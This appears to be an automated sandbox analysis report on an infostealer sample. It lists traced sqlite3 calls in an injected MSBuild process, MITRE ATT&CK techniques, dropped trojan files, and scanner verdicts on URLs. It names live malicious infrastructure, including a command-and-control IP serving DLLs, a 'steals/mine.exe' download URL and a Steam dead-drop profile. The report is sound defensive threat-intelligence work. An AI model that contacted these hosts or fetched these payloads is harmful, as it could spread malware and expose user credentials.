Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 6_2_1FEED610 sqlite3_free,sqlite3_bind_int64,sqlite3_step,sqlite3_reset,sqlite3_bind_int64,sqlite3_step,sqlite3_reset,	6_2_1FEED610
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 6_2_1FEB55B0 sqlite3_bind_int64,sqlite3_step,sqlite3_reset,	6_2_1FEB55B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 6_2_1FF3D4F0 sqlite3_bind_value,sqlite3_log,sqlite3_log,sqlite3_log,	6_2_1FF3D4F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 6_2_1FF314D0 sqlite3_bind_int64,sqlite3_log,sqlite3_log,sqlite3_log,	6_2_1FF314D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 6_2_1FECD3B0 sqlite3_bind_int64,sqlite3_step,sqlite3_reset,	6_2_1FECD3B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 6_2_1FEB51D0 sqlite3_mprintf,sqlite3_bind_int64,sqlite3_step,sqlite3_reset,	6_2_1FEB51D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 6_2_1FEA9090 sqlite3_reset,sqlite3_bind_int64,sqlite3_step,sqlite3_reset,sqlite3_errmsg,sqlite3_mprintf,	6_2_1FEA9090
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 6_2_1FE40FB0 sqlite3_result_int64,sqlite3_result_double,sqlite3_result_int,sqlite3_prepare_v3,sqlite3_bind_int64,sqlite3_step,sqlite3_column_value,sqlite3_result_value,sqlite3_reset,	6_2_1FE40FB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 6_2_1FEF4D40 sqlite3_bind_int64,sqlite3_step,sqlite3_column_int64,sqlite3_reset,sqlite3_reset,InitOnceBeginInitialize,sqlite3_bind_int64,sqlite3_step,sqlite3_reset,sqlite3_free,	6_2_1FEF4D40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 6_2_1FE24820 sqlite3_bind_int64,sqlite3_step,sqlite3_column_int64,sqlite3_reset,sqlite3_reset,sqlite3_initialize,	6_2_1FE24820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 6_2_1FE606E0 sqlite3_bind_int64,sqlite3_step,sqlite3_column_int64,sqlite3_reset,	6_2_1FE606E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 6_2_1FE38680 sqlite3_mprintf,sqlite3_mprintf,sqlite3_initialize,sqlite3_finalize,sqlite3_free,sqlite3_mprintf,sqlite3_bind_value,sqlite3_bind_int64,sqlite3_bind_int64,	6_2_1FE38680
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 6_2_1FE68550 sqlite3_bind_int64,sqlite3_step,sqlite3_column_int64,sqlite3_reset,sqlite3_reset,	6_2_1FE68550
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 6_2_1FE88200 sqlite3_bind_int64,sqlite3_bind_int64,sqlite3_step,sqlite3_column_int64,sqlite3_reset,sqlite3_bind_int64,sqlite3_step,sqlite3_column_int,sqlite3_reset,	6_2_1FE88200
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 6_2_1FEF37E0 sqlite3_bind_int64,sqlite3_bind_int64,sqlite3_step,sqlite3_reset,	6_2_1FEF37E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 6_2_1FED3770 sqlite3_bind_int64,sqlite3_bind_int64,sqlite3_step,sqlite3_reset,	6_2_1FED3770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 6_2_1FE3B400 sqlite3_mprintf,sqlite3_mprintf,sqlite3_free,sqlite3_bind_value,sqlite3_reset,sqlite3_step,sqlite3_reset,sqlite3_column_int64,	6_2_1FE3B400
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 6_2_1FE6EF30 sqlite3_bind_int64,sqlite3_step,sqlite3_reset,sqlite3_result_error_code,	6_2_1FE6EF30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 6_2_1FE8A6F0 sqlite3_mprintf,sqlite3_mprintf,sqlite3_mprintf,sqlite3_free,sqlite3_bind_value,	6_2_1FE8A6F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 6_2_1FE266C0 sqlite3_mprintf,sqlite3_bind_int64,sqlite3_step,sqlite3_reset,sqlite3_bind_int64,sqlite3_bind_null,sqlite3_bind_blob,sqlite3_bind_value,sqlite3_free,sqlite3_bind_value,sqlite3_step,sqlite3_reset,	6_2_1FE266C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 6_2_1FE7E200 sqlite3_initialize,sqlite3_free,sqlite3_bind_int64,sqlite3_bind_blob,sqlite3_step,sqlite3_reset,	6_2_1FE7E200
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 6_2_1FE8E170 sqlite3_bind_int64,sqlite3_step,sqlite3_reset,	6_2_1FE8E170
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 6_2_1FE7E090 sqlite3_bind_int64,sqlite3_bind_value,sqlite3_step,sqlite3_reset,	6_2_1FE7E090

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	11 Disable or Modify Tools	2 OS Credential Dumping	2 System Time Discovery	Remote Services	11 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	Boot or Logon Initialization Scripts	511 Process Injection	11 Deobfuscate/Decode Files or Information	1 Credentials in Registry	1 Account Discovery	Remote Desktop Protocol	4 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	3 Obfuscated Files or Information	Security Account Manager	4 File and Directory Discovery	SMB/Windows Admin Shares	1 Screen Capture	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Software Packing	NTDS	45 System Information Discovery	Distributed Component Object Model	Input Capture	124 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Query Registry	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Masquerading	Cached Domain Credentials	141 Security Software Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	31 Virtualization/Sandbox Evasion	DCSync	31 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	511 Process Injection	Proc Filesystem	12 Process Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	60%	Virustotal		Browse

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\mine[1].exe	100%	Joe Sandbox ML
C:\ProgramData\EHDHIDAEHC.exe	100%	Joe Sandbox ML
C:\ProgramData\EHDHIDAEHC.exe	37%	ReversingLabs	Win32.Trojan.Privateloader
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\mine[1].exe	37%	ReversingLabs	Win32.Trojan.Privateloader

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Link
steamcommunity.com	0%	Virustotal	Browse
arpdabl.zapto.org	13%	Virustotal	Browse
fp2e7a.wpc.phicdn.net	0%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label	Link
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	0%	URL Reputation	safe
http://tempuri.org/	0%	URL Reputation	safe
https://www.youtube.com	0%	URL Reputation	safe
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://www.youtube.com/	0%	URL Reputation	safe
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	0%	URL Reputation	safe
https://168.119.176.241938.132	0%	Avira URL Cloud	safe
https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg	0%	URL Reputation	safe
https://duckduckgo.com/chrome_newtab	0%	Avira URL Cloud	safe
https://168.119.176.241/r	100%	Avira URL Cloud	malware
https://store.steampowered.com/	0%	URL Reputation	safe
https://168.119.176.241/s	100%	Avira URL Cloud	malware
https://168.119.176.241/t	100%	Avira URL Cloud	malware
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	0%	URL Reputation	safe
https://168.119.176.241/qo	100%	Avira URL Cloud	malware
https://community.akamai.steamstatic.com/public/javascript/applications/community/manifest.js?v=Dbzy	0%	Avira URL Cloud	safe
https://duckduckgo.com/chrome_newtab	0%	Virustotal		Browse
https://duckduckgo.com/ac/?q=	0%	Virustotal		Browse
https://community.akamai.steamstatic.com/public/javascript/applications/community/manifest.js?v=Dbzy	0%	Virustotal		Browse
https://duckduckgo.com/ac/?q=	0%	Avira URL Cloud	safe
https://168.119.176.241/z:O	100%	Avira URL Cloud	malware
https://www.gstatic.cn/recaptcha/	0%	Avira URL Cloud	safe
https://168.119.176.241/r5	100%	Avira URL Cloud	malware
https://community.akamai.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6	0%	Avira URL Cloud	safe
https://www.gstatic.cn/recaptcha/	0%	Virustotal		Browse
http://www.valvesoftware.com/legal.htm	0%	Avira URL Cloud	safe
https://community.akamai.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png	0%	Avira URL Cloud	safe
http://5.0	0%	Avira URL Cloud	safe
https://community.akamai.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6	0%	Virustotal		Browse
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17rer.exe	0%	Avira URL Cloud	safe
http://arpdabl.DAECIIDGD	0%	Avira URL Cloud	safe
https://community.akamai.steamstatic.com/public/javascript/global.js?v=B7Vsdo1okyaC&l=english	0%	Avira URL Cloud	safe
https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback	0%	Avira URL Cloud	safe
http://www.valvesoftware.com/legal.htm	0%	Virustotal		Browse
https://steamcommunity.com/profiles/76561199747278259/badges	100%	Avira URL Cloud	malware
https://168.119.176.241/259H	100%	Avira URL Cloud	malware
https://community.akamai.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=OeNIgrpEF8tL	0%	Avira URL Cloud	safe
http://5.0	1%	Virustotal		Browse
https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback	0%	Virustotal		Browse
https://s.ytimg.com;	0%	Avira URL Cloud	safe
https://community.akamai.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png	0%	Virustotal		Browse
https://steamcommunity.com/profiles/76561199747278259/badges	0%	Virustotal		Browse
https://168.119.176.241/K	100%	Avira URL Cloud	malware
https://community.akamai.steamstatic.com/public/shared/css/shared_global.css?v=_D2Bg4UEaFxK&l=en	0%	Avira URL Cloud	safe
http://schemas.datacontract.org/2004/07/DInvalidGlobalDataContractNamespace	0%	Avira URL Cloud	safe
https://168.119.176.241/ECD	100%	Avira URL Cloud	malware
https://168.119.176.241/0	100%	Avira URL Cloud	malware
https://168.119.176.241/RCHAR	100%	Avira URL Cloud	malware
https://community.akamai.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=OeNIgrpEF8tL	0%	Virustotal		Browse
https://168.119.176.241/8	100%	Avira URL Cloud	malware
https://168.119.176.241/6	100%	Avira URL Cloud	malware
https://community.akamai.steamstatic.com/public/javascript/global.js?v=B7Vsdo1okyaC&l=english	0%	Virustotal		Browse
https://168.119.176.241/$	100%	Avira URL Cloud	malware
https://community.akamai.steamstatic.com/public/shared/css/shared_global.css?v=_D2Bg4UEaFxK&l=en	0%	Virustotal		Browse
http://store.steampowered.com/privacy_agr	0%	Avira URL Cloud	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	Avira URL Cloud	safe
http://schemas.datacontract.org/2004/07/DInvalidGlobalDataContractNamespace	0%	Virustotal		Browse
https://steamcommunity.com/profiles/76561199747278259gi_z2Mozilla/5.0	0%	Avira URL Cloud	safe
http://store.steampowered.com/privacy_agr	0%	Virustotal		Browse
https://168.119.176.241/0	14%	Virustotal		Browse
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	0%	Avira URL Cloud	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	Virustotal		Browse
https://168.119.176.241/vcruntime140.dll	100%	Avira URL Cloud	malware
https://168.119.176.241/6	14%	Virustotal		Browse
https://lv.queniujq.cn	0%	Avira URL Cloud	safe
https://avatars.akamai.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg	0%	Avira URL Cloud	safe
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17ontdrvhost.exe	0%	Avira URL Cloud	safe
https://steamcommunity.com/profiles/76561199747278259gi_z2Mozilla/5.0	0%	Virustotal		Browse
https://168.119.176.241/8	14%	Virustotal		Browse
https://168.119.176.241/&	100%	Avira URL Cloud	malware
https://168.119.176.241/sqls.dllI	100%	Avira URL Cloud	malware
https://lv.queniujq.cn	0%	Virustotal		Browse
https://community.akamai.steamstatic.com/public/shared/javascript/tooltip.js?v=.zYHOpI1L3Rt0	0%	Avira URL Cloud	safe
https://168.119.176.241ocal	0%	Avira URL Cloud	safe
https://168.119.176.241/vcruntime140.dll	3%	Virustotal		Browse
https://168.119.176.241/msvcp140.dll	100%	Avira URL Cloud	malware
https://168.119.176.241/sqls.dll_	100%	Avira URL Cloud	malware
https://www.google.com/recaptcha/	0%	Avira URL Cloud	safe
https://168.119.176.241/msvcp140.dll	2%	Virustotal		Browse
https://checkout.steampowered.com/	0%	Avira URL Cloud	safe
https://avatars.akamai.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg	0%	Virustotal		Browse
http://arpdabl.zapto.org	0%	Avira URL Cloud	safe
https://community.akamai.steamstatic.com/public/shared/javascript/tooltip.js?v=.zYHOpI1L3Rt0	0%	Virustotal		Browse
https://community.akamai.steamstatic.com/public/css/globalv2.css?v=PAcV2zMBzzSV&l=english	0%	Avira URL Cloud	safe
http://arpdabl.FCBFHIIDGD	0%	Avira URL Cloud	safe
https://checkout.steampowered.com/	0%	Virustotal		Browse
https://community.akamai.steamstatic.com/public/css/skin_1/profilev2.css?v=M_qL4gO2sKII&l=englis	0%	Avira URL Cloud	safe
https://168.119.176.241/graphy	100%	Avira URL Cloud	malware
https://t.me/armad2ahellosqls.dllsqlite3.dllIn	0%	Avira URL Cloud	safe
https://help.steampowered.com/en/	0%	Avira URL Cloud	safe
https://community.akamai.steamstatic.com/	0%	Avira URL Cloud	safe
https://steamcommunity.com/profiles/76561199747278259/inventory/	100%	Avira URL Cloud	malware
https://recaptcha.net/recaptcha/;	0%	Avira URL Cloud	safe
https://168.119.176.241	100%	Avira URL Cloud	malware
https://168.119.176.241/nss3.dllf	100%	Avira URL Cloud	malware
https://www.google.com/recaptcha/	0%	Virustotal		Browse
https://168.119.176.241/41	100%	Avira URL Cloud	malware
https://broadcast.st.dl.eccdnx.com	0%	Avira URL Cloud	safe
http://147.45.44.104/steals/mine.exea	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
steamcommunity.com	104.102.49.249	true	true	0%, Virustotal, Browse	unknown
arpdabl.zapto.org	38.180.132.96	true	false	13%, Virustotal, Browse	unknown
fp2e7a.wpc.phicdn.net	192.229.221.95	true	false	0%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://168.119.176.241/vcruntime140.dll	false	3%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://168.119.176.241/msvcp140.dll	false	2%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://168.119.176.241/softokn3.dll	true	Avira URL Cloud: malware	unknown
http://147.45.44.104/steals/mine.exe	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://168.119.176.241/t	a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021825975.00000000032B3000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://168.119.176.241938.132	MSBuild.exe, 00000006.00000002.2343148482.0000000000438000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://168.119.176.241/s	a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://duckduckgo.com/chrome_newtab	a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1864612116.0000000003332000.00000004.00000020.00020000.00000000.sdmp, AAKEGI.0.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://168.119.176.241/r	a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771473480.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771428576.000000000323C000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://168.119.176.241/qo	a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1784599194.0000000003241000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://community.akamai.steamstatic.com/public/javascript/applications/community/manifest.js?v=Dbzy	a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1784599194.0000000003241000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745266129.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745302005.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731818479.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1716174518.0000000003235000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771473480.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758386144.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771428576.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731884032.000000000323E000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758422483.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.0000000003237000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.0000000001351000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2343148482.0000000000438000.00000040.00000400.00020000.00000000.sdmp, 76561199747278259[1].htm.6.dr, 76561199747278259[1].htm.0.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://duckduckgo.com/ac/?q=	a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1864612116.0000000003332000.00000004.00000020.00020000.00000000.sdmp, AAKEGI.0.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://168.119.176.241/z:O	a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021825975.00000000032B3000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.00000000032FF000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.00000000032FF000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021825975.00000000032B3000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021825975.00000000032FF000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.0000000003237000.00000004.00000020.00020000.00000000.sdmp, CGDHIE.0.dr	false	URL Reputation: safe	unknown
http://tempuri.org/	EHDHIDAEHC.exe, 00000004.00000002.2094707680.0000000003EEE000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.gstatic.cn/recaptcha/	a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1717876707.0000000003241000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1714614994.0000000003241000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.00000000012C8000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://community.akamai.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6	a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1784599194.0000000003241000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745266129.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745302005.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731818479.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1716174518.0000000003235000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771473480.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758386144.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771428576.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731884032.000000000323E000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758422483.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.0000000003237000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.0000000001351000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2343148482.0000000000438000.00000040.00000400.00020000.00000000.sdmp, 76561199747278259[1].htm.6.dr, 76561199747278259[1].htm.0.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://168.119.176.241/r5	MSBuild.exe, 00000006.00000002.2344932078.0000000001393000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
